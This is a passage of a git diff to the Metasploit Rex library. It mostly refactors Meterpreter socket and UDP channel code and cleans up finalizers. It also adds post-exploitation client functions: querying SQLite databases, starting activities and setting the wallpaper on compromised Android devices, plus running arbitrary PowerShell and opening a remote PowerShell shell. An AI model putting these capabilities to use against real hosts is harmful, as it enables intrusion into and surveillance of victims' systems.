a/lib/rex/parser/ini.rb b/lib/rex/parser/ini.rb index 829f10f32b..8dffe5ac1b 100644 --- a/lib/rex/parser/ini.rb +++ b/lib/rex/parser/ini.rb @@ -49,14 +49,7 @@ class Ini < Hash end end - # - # Enumerates the groups hash keys. - # - def each_group(&block) - self.keys.each { |k| - yield - } - end + alias each_group each_key # # Adds a group of the supplied name if it doesn't already exist. diff --git a/lib/rex/parser/nexpose_raw_nokogiri.rb b/lib/rex/parser/nexpose_raw_nokogiri.rb index 3d5ec218b1..78a681dba8 100644 --- a/lib/rex/parser/nexpose_raw_nokogiri.rb +++ b/lib/rex/parser/nexpose_raw_nokogiri.rb @@ -193,6 +193,13 @@ module Rex vuln_instances = @report_data[:vuln][:matches].size db.emit(:vuln, [refs.last,vuln_instances], &block) if block + # TODO: potential remove the size limit on this field, might require + # some additional UX + if @report_data[:vuln]['title'].length > 255 + db.emit :warning, 'Vulnerability name longer than 255 characters, truncating.', &block if block + @report_data[:vuln]['title'] = @report_data[:vuln]['title'][0..254] + end + vuln_ids = @report_data[:vuln][:matches].map{ |v| v[0] } vdet_ids = @report_data[:vuln][:matches].map{ |v| v[1] } diff --git a/lib/rex/parser/nokogiri_doc_mixin.rb b/lib/rex/parser/nokogiri_doc_mixin.rb index bfee26fa8c..9e59c56061 100644 --- a/lib/rex/parser/nokogiri_doc_mixin.rb +++ b/lib/rex/parser/nokogiri_doc_mixin.rb @@ -200,6 +200,11 @@ module Parser return attr_pairs end + # Removes HTML from a string + def strip_html_tags(text) + return text.gsub!(/(<[^>]*>)|\n|\t/s) {" "} + end + # This breaks xml-encoded characters, so need to append. # It's on the end_element tag name to turn the appending # off and clear out the data. diff --git a/lib/rex/post/meterpreter/channel.rb b/lib/rex/post/meterpreter/channel.rb index d693e3bf74..50da0dc185 100644 --- a/lib/rex/post/meterpreter/channel.rb +++ b/lib/rex/post/meterpreter/channel.rb @@ -141,7 +141,9 @@ class Channel if (cid and client) client.add_channel(self) end - ObjectSpace.define_finalizer( self, self.class.finalize(self.client, self.cid) ) + + # Ensure the remote object is closed when all references are removed + ObjectSpace.define_finalizer(self, self.class.finalize(client, cid)) end def self.finalize(client,cid) @@ -288,8 +290,11 @@ class Channel end def _close(addends = nil) - self.class._close(self.client, self.cid, addends) - self.cid = nil + unless self.cid.nil? + ObjectSpace.undefine_finalizer(self) + self.class._close(self.client, self.cid, addends) + self.cid = nil + end end # # Enables or disables interactive mode. diff --git a/lib/rex/post/meterpreter/channels/datagram.rb b/lib/rex/post/meterpreter/channels/datagram.rb new file mode 100644 index 0000000000..fc8c2e3323 --- /dev/null +++ b/lib/rex/post/meterpreter/channels/datagram.rb @@ -0,0 +1,75 @@ +# -*- coding: binary -*- + +require 'rex/io/datagram_abstraction' +require 'rex/post/meterpreter/channels/socket_abstraction' + +module Rex +module Post +module Meterpreter + +### +# +# Stream +# ------ +# +# This class represents a channel that is streaming. This means +# that sequential data is flowing in either one or both directions. +# +### +class Datagram < Rex::Post::Meterpreter::Channel + + include Rex::Post::Meterpreter::SocketAbstraction + include Rex::IO::DatagramAbstraction + + class << self + def cls + return CHANNEL_CLASS_DATAGRAM + end + end + + module SocketInterface + include Rex::Post::Meterpreter::SocketAbstraction::SocketInterface + def type? + 'udp' + end + + def recvfrom_nonblock(length,flags = nil) + return [super(length, flags)[0], super(length, flags)[0]] + end + + def send(buf, flags, saddr) + channel.send(buf, flags, saddr) + end + end + + def dio_write_handler(packet, data) + @recvd ||= [] + @recvd << [packet, data] + peerhost = packet.get_tlv_value( + Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_PEER_HOST + ) + peerport = packet.get_tlv_value( + Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_PEER_PORT + ) + + if peerhost && peerport + # Maxlen here is 65507, to ensure we dont overflow, we need to write twice + # If the other side has a full 64k, handle by splitting up the datagram and + # writing multiple times along with the sockaddr. Consumers calling recvfrom + # repeatedly will buffer up all the pieces. + while data.length > 65507 + rsock.syswrite(data[0..65506]) + rsock.syswrite(Rex::Socket.to_sockaddr(peerhost,peerport)) + data = data - data[0..65506] + end + rsock.syswrite(data) + rsock.syswrite(Rex::Socket.to_sockaddr(peerhost,peerport)) + return true + else + return false + end + end + +end + +end; end; end diff --git a/lib/rex/post/meterpreter/channels/socket_abstraction.rb b/lib/rex/post/meterpreter/channels/socket_abstraction.rb new file mode 100644 index 0000000000..c59577dfae --- /dev/null +++ b/lib/rex/post/meterpreter/channels/socket_abstraction.rb @@ -0,0 +1,160 @@ +# -*- coding: binary -*- + +# require 'rex/io/socket_abstraction' +require 'rex/post/meterpreter/channel' + +module Rex +module Post +module Meterpreter + +### +# +# Abstraction +# ------ +# +# This class represents a channel that is streaming. This means +# that sequential data is flowing in either one or both directions. +# +### +module SocketAbstraction + + class << self + def cls + raise NotImplementedError + end + end + + module SocketInterface + def type? + raise NotImplementedError + end + + def getsockname + return super if not channel + # Find the first host in our chain (our address) + hops = 0 + csock = channel.client.sock + while(csock.respond_to?('channel')) + csock = csock.channel.client.sock + hops += 1 + end + _address_family,caddr,_cport = csock.getsockname + address_family,raddr,_rport = csock.getpeername + _maddr,mport = [ channel.params.localhost, channel.params.localport ] + [ address_family, "#{caddr}#{(hops > 0) ? "-_#{hops}_" : ""}-#{raddr}", "#{mport}" ] + end + + def getpeername + return super if not channel + address_family,_caddr,_cport = channel.client.sock.getpeername + maddr,mport = [ channel.params.peerhost, channel.params.peerport ] + [ address_family, "#{maddr}", "#{mport}" ] + end + + %i{localhost localport peerhost peerport}.map do |meth| + define_method(meth) { + return super if not channel + channel.params.send(meth) + } + end + + def close + super + channel.cleanup_abstraction + channel.close + end + + attr_accessor :channel + end + + # + # Simple mixin for lsock in order to help avoid a ruby interpreter issue with ::Socket.pair + # Instead of writing to the lsock, reading from the rsock and then writing to the channel, + # we use this mixin to directly write to the channel. + # + # Note: This does not work with OpenSSL as OpenSSL is implemented natively and requires a real + # socket to write to and we cant intercept the sockets syswrite at a native level. + # + # Note: The deadlock only seems to effect the Ruby build for cygwin. + # + module DirectChannelWrite + + def syswrite(buf) + channel._write(buf) + end + + attr_accessor :channel + end + + ## + # + # Constructor + # + ## + + # + # Passes the initialization information up to the base class + # + def initialize(client, cid, type, flags) + # sf: initialize_abstraction() before super() as we can get a scenario where dio_write_handler() is called + # with data to write to the rsock but rsock has not yet been initialized. This happens if the channel + # is registered (client.add_channel(self) in Channel.initialize) to a session and a 'core_channel_write' + # request comes in before we have called self.initialize_abstraction() + initialize_abstraction + super(client, cid, type, flags) + end + + ## + # + # Remote I/O handlers + # + ## + + # + # Performs a write operation on the right side of the local stream. + # + def dio_write_handler(packet, data) + rv = Rex::ThreadSafe.select(nil, [rsock], nil, 0.01) + if(rv) + rsock.syswrite(data) + return true + else + return false + end + end + + # + # Performs a close operation on the right side of the local stream. + # + def dio_close_handler(packet) + rsock.close + + return super(packet) + end + + # + # Cleans up the stream abstraction. + # + def cleanup + super + + cleanup_abstraction + end + + # + # Wrap the _write() call in order to catch some common, but harmless Windows exceptions + # + def _write(*args) + begin + super(*args) + rescue ::Rex::Post::Meterpreter::RequestError => e + case e.code + when 10000 .. 10100 + raise ::Rex::ConnectionError.new + end + end + end + +end + +end; end; end diff --git a/lib/rex/post/meterpreter/channels/stream.rb b/lib/rex/post/meterpreter/channels/stream.rb index 95c1e48e6e..09e1f86b3c 100644 --- a/lib/rex/post/meterpreter/channels/stream.rb +++ b/lib/rex/post/meterpreter/channels/stream.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- require 'rex/io/stream_abstraction' -require 'rex/post/meterpreter/channel' +require 'rex/post/meterpreter/channels/socket_abstraction' module Rex module Post @@ -18,6 +18,7 @@ module Meterpreter ### class Stream < Rex::Post::Meterpreter::Channel + include Rex::Post::Meterpreter::SocketAbstraction include Rex::IO::StreamAbstraction class << self @@ -26,61 +27,13 @@ class Stream < Rex::Post::Meterpreter::Channel end end - ## - # - # Constructor - # - ## - - # - # Passes the initialization information up to the base class - # - def initialize(client, cid, type, flags) - # sf: initialize_abstraction() before super() as we can get a scenario where dio_write_handler() is called - # with data to write to the rsock but rsock has not yet been initialized. This happens if the channel - # is registered (client.add_channel(self) in Channel.initialize) to a session and a 'core_channel_write' - # request comes in before we have called self.initialize_abstraction() - initialize_abstraction - super(client, cid, type, flags) - end - - ## - # - # Remote I/O handlers - # - ## - - # - # Performs a write operation on the right side of the local stream. - # - def dio_write_handler(packet, data) - rv = Rex::ThreadSafe.select(nil, [rsock], nil, 0.01) - if(rv) - rsock.write(data) - return true - else - return false + module SocketInterface + include Rex::Post::Meterpreter::SocketAbstraction::SocketInterface + def type? + 'tcp' end end - # - # Performs a close operation on the right side of the local stream. - # - def dio_close_handler(packet) - rsock.close - - return super(packet) - end - - # - # Cleans up the stream abstraction. - # - def cleanup - super - - cleanup_abstraction - end - end end; end; end diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index b751768348..c550eaef79 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -469,7 +469,7 @@ class ClientCore < Extension end if client.platform =~ /linux/ - if writable_dir.blank? + if writable_dir.to_s.strip.empty? writable_dir = tmp_folder end @@ -752,7 +752,7 @@ class ClientCore < Extension def tmp_folder tmp = client.sys.config.getenv('TMPDIR') - if tmp.blank? + if tmp.to_s.strip.empty? tmp = '/tmp' end diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 931b591708..fa4d1e8372 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -72,6 +72,12 @@ class Android < Extension response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value end + def set_audio_mode(n) + request = Packet.create_request('set_audio_mode') + request.add_tlv(TLV_TYPE_AUDIO_MODE, n) + response = client.send_request(request) + end + def interval_collect(opts) request = Packet.create_request('interval_collect') request.add_tlv(TLV_TYPE_COLLECT_ACTION, COLLECT_ACTIONS[opts[:action]]) @@ -242,6 +248,23 @@ class Android < Extension response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end + def activity_start(uri) + request = Packet.create_request('activity_start') + request.add_tlv(TLV_TYPE_URI_STRING, uri) + response = client.send_request(request) + if response.get_tlv(TLV_TYPE_ACTIVITY_START_RESULT).value + return nil + else + return response.get_tlv(TLV_TYPE_ACTIVITY_START_ERROR).value + end + end + + def set_wallpaper(data) + request = Packet.create_request('set_wallpaper') + request.add_tlv(TLV_TYPE_WALLPAPER_DATA, data) + response = client.send_request(request) + end + def send_sms(dest, body, dr) request = Packet.create_request('send_sms') request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest) @@ -272,6 +295,33 @@ class Android < Extension end networks end + + def sqlite_query(dbname, query, writeable) + request = Packet.create_request('sqlite_query') + request.add_tlv(TLV_TYPE_SQLITE_NAME, dbname) + request.add_tlv(TLV_TYPE_SQLITE_QUERY, query) + request.add_tlv(TLV_TYPE_SQLITE_WRITE, writeable) + response = client.send_request(request, 30) + error_msg = response.get_tlv(TLV_TYPE_SQLITE_ERROR) + raise "SQLiteException: #{error_msg.value}" if error_msg + + unless writeable + result = { + columns: [], + rows: [] + } + data = response.get_tlv(TLV_TYPE_SQLITE_RESULT_GROUP) + unless data.nil? + columns = data.get_tlv(TLV_TYPE_SQLITE_RESULT_COLS) + result[:columns] = columns.get_tlv_values(TLV_TYPE_SQLITE_VALUE) + data.each(TLV_TYPE_SQLITE_RESULT_ROW) do |row| + result[:rows] << row.get_tlv_values(TLV_TYPE_SQLITE_VALUE) + end + end + result + end + end + end end end diff --git a/lib/rex/post/meterpreter/extensions/android/tlv.rb b/lib/rex/post/meterpreter/extensions/android/tlv.rb index 99f269327d..15d047810b 100644 --- a/lib/rex/post/meterpreter/extensions/android/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/android/tlv.rb @@ -75,9 +75,22 @@ TLV_TYPE_CELL_BASE_LAT = TLV_META_TYPE_UINT | (TLV_EXTENSIONS TLV_TYPE_CELL_BASE_LONG = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9072) TLV_TYPE_CELL_NET_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9073) TLV_TYPE_CELL_SYSTEM_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9074) +TLV_TYPE_AUDIO_MODE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9075) +TLV_TYPE_URI_STRING = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9101) +TLV_TYPE_ACTIVITY_START_RESULT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9102) +TLV_TYPE_ACTIVITY_START_ERROR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9103) +TLV_TYPE_SQLITE_RESULT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9080) +TLV_TYPE_SQLITE_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9081) +TLV_TYPE_SQLITE_QUERY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9082) +TLV_TYPE_SQLITE_RESULT_COLS = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9083) +TLV_TYPE_SQLITE_RESULT_ROW = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9084) +TLV_TYPE_SQLITE_VALUE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9085) +TLV_TYPE_SQLITE_ERROR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9086) +TLV_TYPE_SQLITE_WRITE = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9087) +TLV_TYPE_WALLPAPER_DATA = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 9201) end end diff --git a/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb b/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb index fde12f624e..a69cfdfb07 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb @@ -31,7 +31,7 @@ class Wmi def query(query, root = nil) request = Packet.create_request('extapi_wmi_query') - request.add_tlv(TLV_TYPE_EXT_WMI_DOMAIN, root) unless root.blank? + request.add_tlv(TLV_TYPE_EXT_WMI_DOMAIN, root) unless root.to_s.strip.empty? request.add_tlv(TLV_TYPE_EXT_WMI_QUERY, query) response = client.send_request(request) diff --git a/lib/rex/post/meterpreter/extensions/powershell/powershell.rb b/lib/rex/post/meterpreter/extensions/powershell/powershell.rb new file mode 100644 index 0000000000..d1211508d1 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/powershell/powershell.rb @@ -0,0 +1,59 @@ +# -*- coding: binary -*- + +require 'rex/post/meterpreter/extensions/powershell/tlv' + +module Rex +module Post +module Meterpreter +module Extensions +module Powershell + +### +# +# This meterpreter extensions a privilege escalation interface that is capable +# of doing things like dumping password hashes and performing local +# exploitation. +# +### +class Powershell < Extension + + + def initialize(client) + super(client, 'powershell') + + client.register_extension_aliases( + [ + { + 'name' => 'powershell', + 'ext' => self + }, + ]) + end + + + def execute_string(opts={}) + return nil unless opts[:code] + + request = Packet.create_request('powershell_execute') + request.add_tlv(TLV_TYPE_POWERSHELL_CODE, opts[:code]) + request.add_tlv(TLV_TYPE_POWERSHELL_SESSIONID, opts[:session_id]) if opts[:session_id] + + response = client.send_request(request) + return response.get_tlv_value(TLV_TYPE_POWERSHELL_RESULT) + end + + def shell(opts={}) + request = Packet.create_request('powershell_shell') + request.add_tlv(TLV_TYPE_POWERSHELL_SESSIONID, opts[:session_id]) if opts[:session_id] + + response = client.send_request(request) + channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID) + if channel_id.nil? + raise Exception, "We did not get a channel back!" + end + Rex::Post::Meterpreter::Channels::Pools::StreamPool.new(client, channel_id, 'powershell_psh', CHANNEL_FLAG_SYNCHRONOUS) + end + +end + +end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/powershell/tlv.rb b/lib/rex/post/meterpreter/extensions/powershell/tlv.rb new file mode 100644 index 0000000000..99612bed91 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/powershell/tlv.rb @@ -0,0 +1,16 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Powershell + +TLV_TYPE_POWERSHELL_SESSIONID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1) +TLV_TYPE_POWERSHELL_CODE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2) +TLV_TYPE_POWERSHELL_RESULT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3) + +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb index 950815dbaa..753dd8c808 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb @@ -41,7 +41,7 @@ class Socket # register the inbound handler for the tcp server channel (allowing us to # receive new client connections to a tcp server channel) - client.register_inbound_handler( Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel ) + client.register_inbound_handler(Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel) end @@ -49,7 +49,7 @@ class Socket # Deregister the inbound handler for the tcp server channel # def shutdown - client.deregister_inbound_handler( Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel ) + client.deregister_inbound_handler(Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel) end ## @@ -63,17 +63,17 @@ class Socket # in the socket parameters instance. The +params+ argument is expected to be # of type Rex::Socket::Parameters. # - def create( params ) + def create(params) res = nil - if( params.tcp? ) - if( params.server? ) - res = create_tcp_server_channel( params ) + if params.tcp? + if params.server? + res = create_tcp_server_channel(params) else - res = create_tcp_client_channel( params ) + res = create_tcp_client_channel(params) end - elsif( params.udp? ) - res = create_udp_channel( params ) + elsif params.udp? + res = create_udp_channel(params) end return res @@ -87,6 +87,8 @@ class Socket return SocketSubsystem::TcpServerChannel.open(client, params) rescue ::Rex::Post::Meterpreter::RequestError => e case e.code + when 10048 + raise ::Rex::AddressInUse.new(params.localhost, params.localport) when 10000 .. 10100 raise ::Rex::ConnectionError.new end @@ -100,7 +102,7 @@ class Socket def create_tcp_client_channel(params) begin channel = SocketSubsystem::TcpClientChannel.open(client, params) - if( channel != nil ) + if channel != nil return channel.lsock end return nil @@ -118,10 +120,16 @@ class Socket # def create_udp_channel(params) begin - return SocketSubsystem::UdpChannel.open(client, params) + channel = SocketSubsystem::UdpChannel.open(client, params) + if channel != nil + return channel.lsock + end + return nil rescue ::Rex::Post::Meterpreter::RequestError => e case e.code - when 10000 .. 10100 + when 10048 + raise ::Rex::AddressInUse.new(params.localhost, params.localport) + when 10000 .. 10100 raise ::Rex::ConnectionError.new end raise e diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb index d0127ef158..09832b6c2b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb @@ -23,61 +23,6 @@ module SocketSubsystem ### class TcpClientChannel < Rex::Post::Meterpreter::Stream - class << self - def cls - return CHANNEL_CLASS_STREAM - end - end - - module SocketInterface - def type? - 'tcp' - end - - def getsockname - return super if not channel - # Find the first host in our chain (our address) - hops = 0 - csock = channel.client.sock - while(csock.respond_to?('channel')) - csock = csock.channel.client.sock - hops += 1 - end - tmp,caddr,cport = csock.getsockname - tmp,raddr,rport = csock.getpeername - maddr,mport = [ channel.params.localhost, channel.params.localport ] - [ tmp, "#{caddr}#{(hops > 0) ? "-_#{hops}_" : ""}-#{raddr}", "#{mport}" ] - end - - def getpeername - return super if not channel - tmp,caddr,cport = channel.client.sock.getpeername - maddr,mport = [ channel.params.peerhost, channel.params.peerport ] - [ tmp, "#{maddr}", "#{mport}" ] - end - - attr_accessor :channel - end - - # - # Simple mixin for lsock in order to help avoid a ruby interpreter issue with ::Socket.pair - # Instead of writing to the lsock, reading from the rsock and then writing to the channel, - # we use this mixin to directly write to the channel. - # - # Note: This does not work with OpenSSL as OpenSSL is implemented natively and requires a real - # socket to write to and we cant intercept the sockets syswrite at a native level. - # - # Note: The deadlock only seems to effect the Ruby build for cygwin. - # - module DirectChannelWrite - - def syswrite( buf ) - channel._write( buf ) - end - - attr_accessor :channel - end - ## # # Factory @@ -124,14 +69,14 @@ class TcpClientChannel < Rex::Post::Meterpreter::Stream # # Passes the channel initialization information up to the base class. # - def initialize( client, cid, type, flags ) - super( client, cid, type, flags ) + def initialize(client, cid, type, flags) + super(client, cid, type, flags) - lsock.extend( SocketInterface ) - lsock.extend( DirectChannelWrite ) + lsock.extend(SocketInterface) + lsock.extend(DirectChannelWrite) lsock.channel = self - rsock.extend( SocketInterface ) + rsock.extend(SocketInterface) rsock.channel = self end @@ -156,24 +101,11 @@ class TcpClientChannel < Rex::Post::Meterpreter::Stream request.add_tlv(TLV_TYPE_SHUTDOWN_HOW, how) request.add_tlv(TLV_TYPE_CHANNEL_ID, self.cid) - response = client.send_request(request) + client.send_request(request) return true end - # - # Wrap the _write() call in order to catch some common, but harmless Windows exceptions - # - def _write(*args) - begin - super(*args) - rescue ::Rex::Post::Meterpreter::RequestError => e - case e.code - when 10000 .. 10100 - raise ::Rex::ConnectionError.new - end - end - end end end; end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb index f8e7f310e0..62c03b58aa 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb @@ -5,6 +5,7 @@ require 'rex/socket/udp' require 'rex/socket/parameters' require 'rex/post/meterpreter/extensions/stdapi/tlv' require 'rex/post/meterpreter/channel' +require 'rex/post/meterpreter/channels/datagram' module Rex module Post @@ -14,30 +15,26 @@ module Stdapi module Net module SocketSubsystem -class UdpChannel < Rex::Post::Meterpreter::Channel - - # - # We inclue Rex::Socket::Udp as this channel is effectivly a UDP socket. - # - include Rex::Socket::Udp +class UdpChannel < Rex::Post::Meterpreter::Datagram # # We are a datagram channel. # - class << self - def cls - return CHANNEL_CLASS_DATAGRAM - end + def self.cls + CHANNEL_CLASS_DATAGRAM end # - # Open a new UDP channel on the remote end. The local host/port are optional, if none are specified - # the remote end will bind to INADDR_ANY with a random port number. The peer host/port are also - # optional, if specified all default send(), write() call will sendto the specified peer. If no peer - # host/port is specified you must use sendto() and specify the remote peer you wish to send to. This - # effectivly lets us create bound/unbound and connected/unconnected UDP sockets with ease. + # Open a new UDP channel on the remote end. The local host/port are + # optional, if none are specified the remote end will bind to INADDR_ANY + # with a random port number. The peer host/port are also optional, if + # specified all default send(), write() call will sendto the specified peer. + # If no peer host/port is specified you must use sendto() and specify the + # remote peer you wish to send to. This effectivly lets us create + # bound/unbound and connected/unconnected UDP sockets with ease. # - def UdpChannel.open(client, params) + # @return [Channel] + def self.open(client, params) c = Channel.create(client, 'stdapi_net_udp_client', self, CHANNEL_FLAG_SYNCHRONOUS, [ { @@ -66,95 +63,25 @@ class UdpChannel < Rex::Post::Meterpreter::Channel # def initialize(client, cid, type, flags) super(client, cid, type, flags) - # the instance variable that holds all incoming datagrams. - @datagrams = [] - end - # - # We overwrite Rex::Socket::Udp.timed_read in order to avoid the call to Kernel.select - # which wont be of use as we are not a natively backed ::Socket or ::IO instance. - # - def timed_read( length=65535, timeout=def_read_timeout ) - result = '' + lsock.extend(Rex::Socket::Udp) + lsock.initsock + lsock.extend(SocketInterface) + lsock.extend(DirectChannelWrite) + lsock.channel = self - begin - Timeout.timeout( timeout ) { - while( true ) - if( @datagrams.empty? ) - Rex::ThreadSafe.sleep( 0.2 ) - next - end - result = self.read( length ) - break - end - } - rescue Timeout::Error - result = '' - end + # rsock.extend( Rex::Socket::Udp ) + rsock.extend(SocketInterface) + rsock.channel = self - return result - end - - # - # We overwrite Rex::Socket::Udp.recvfrom in order to correctly hand out the - # datagrams which the remote end of this channel has received and are in the - # queue. - # - def recvfrom( length=65535, timeout=def_read_timeout ) - result = nil - # force a timeout on the wait for an incoming datagram - begin - Timeout.timeout( timeout ) { - while( true ) - # wait untill we have at least one datagram in the queue - if( @datagrams.empty? ) - Rex::ThreadSafe.sleep( 0.2 ) - next - end - # grab the oldest datagram we have received... - result = @datagrams.shift - # break as we have a result... - break - end - } - rescue Timeout::Error - result = nil - end - # if no result return nothing - if( result == nil ) - return [ '', nil, nil ] - end - # get the data from this datagram - data = result[0] - # if its only a partial read of this datagram, slice it, loosing the remainder. - result[0] = data[0,length-1] if data.length > length - # return the result in the form [ data, host, port ] - return result - end - - # - # Overwrite the low level sysread to read data off our datagram queue. Calls - # to read() will end up calling this. - # - def sysread( length ) - result = self.recvfrom( length ) - return result[0] - end - - # - # Overwrite the low level syswrite to write data to the remote end of the channel. - # Calls to write() will end up calling this. - # - def syswrite( buf ) - return _write( buf ) end # # This function is called by Rex::Socket::Udp.sendto and writes data to a specified # remote peer host/port via the remote end of the channel. # - def send( buf, flags, saddr ) - af, peerhost, peerport = Rex::Socket.from_sockaddr( saddr ) + def send(buf, flags, saddr) + _af, peerhost, peerport = Rex::Socket.from_sockaddr(saddr) addends = [ { @@ -167,42 +94,9 @@ class UdpChannel < Rex::Post::Meterpreter::Channel } ] - return _write( buf, buf.length, addends ) + return _write(buf, buf.length, addends) end - # - # The channels direct io write handler for any incoming data from the remote end - # of the channel. We extract the data and peer host/port, and save this to a queue - # of incoming datagrams which are passed out via calls to self.recvfrom() - # - def dio_write_handler( packet, data ) - - peerhost = packet.get_tlv_value( TLV_TYPE_PEER_HOST ) - peerport = packet.get_tlv_value( TLV_TYPE_PEER_PORT ) - - if( peerhost and peerport ) - @datagrams << [ data, peerhost, peerport ] - return true - end - - return false - end - - # - # Wrap the _write() call in order to catch some common, but harmless Windows exceptions - # - def _write(*args) - begin - super(*args) - rescue ::Rex::Post::Meterpreter::RequestError => e - case e.code - when 10000 .. 10100 - raise ::Rex::ConnectionError.new - end - end - end - - end end; end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb index 87bcdf34e4..cb2d556520 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb @@ -60,7 +60,9 @@ class EventLog def initialize(hand) self.client = self.class.client self.handle = hand - ObjectSpace.define_finalizer( self, self.class.finalize(self.client, self.handle) ) + + # Ensure the remote object is closed when all references are removed + ObjectSpace.define_finalizer(self, self.class.finalize(client, hand)) end def self.finalize(client,handle) @@ -185,7 +187,11 @@ class EventLog # Instance method def close - self.class.close(self.client, self.handle) + unless self.handle.nil? + ObjectSpace.undefine_finalizer(self) + self.class.close(self.client, self.handle) + self.handle = nil + end end end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb index 92f77b3567..31cc02e7ff 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb @@ -285,11 +285,12 @@ class Process < Rex::Post::Process 'thread' => Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Thread.new(self), }) - ObjectSpace.define_finalizer( self, self.class.finalize(self.client, self.handle) ) + # Ensure the remote object is closed when all references are removed + ObjectSpace.define_finalizer(self, self.class.finalize(client, handle)) end - def self.finalize(client,handle) - proc { self.close(client,handle) } + def self.finalize(client, handle) + proc { self.close(client, handle) } end # @@ -320,8 +321,12 @@ class Process < Rex::Post::Process # # Instance method # - def close(handle=self.handle) - self.class.close(self.client, handle) + def close(handle = self.handle) + unless self.pid.nil? + ObjectSpace.undefine_finalizer(self) + self.class.close(self.client, handle) + self.pid = nil + end end # diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb index bd2bbf34b0..af689a2671 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb @@ -30,7 +30,8 @@ class RegistryKey self.perm = perm self.hkey = hkey - ObjectSpace.define_finalizer( self, self.class.finalize(self.client, self.hkey) ) + # Ensure the remote object is closed when all references are removed + ObjectSpace.define_finalizer(self, self.class.finalize(client, hkey)) end def self.finalize(client,hkey) @@ -115,7 +116,11 @@ class RegistryKey # Instance method for the same def close() - self.class.close(self.client, self.hkey) + unless self.hkey.nil? + ObjectSpace.undefine_finalizer(self) + self.class.close(self.client, self.hkey) + self.hkey = nil + end end ## diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb index 7ad533e3f4..8fb734aa98 100644 --- 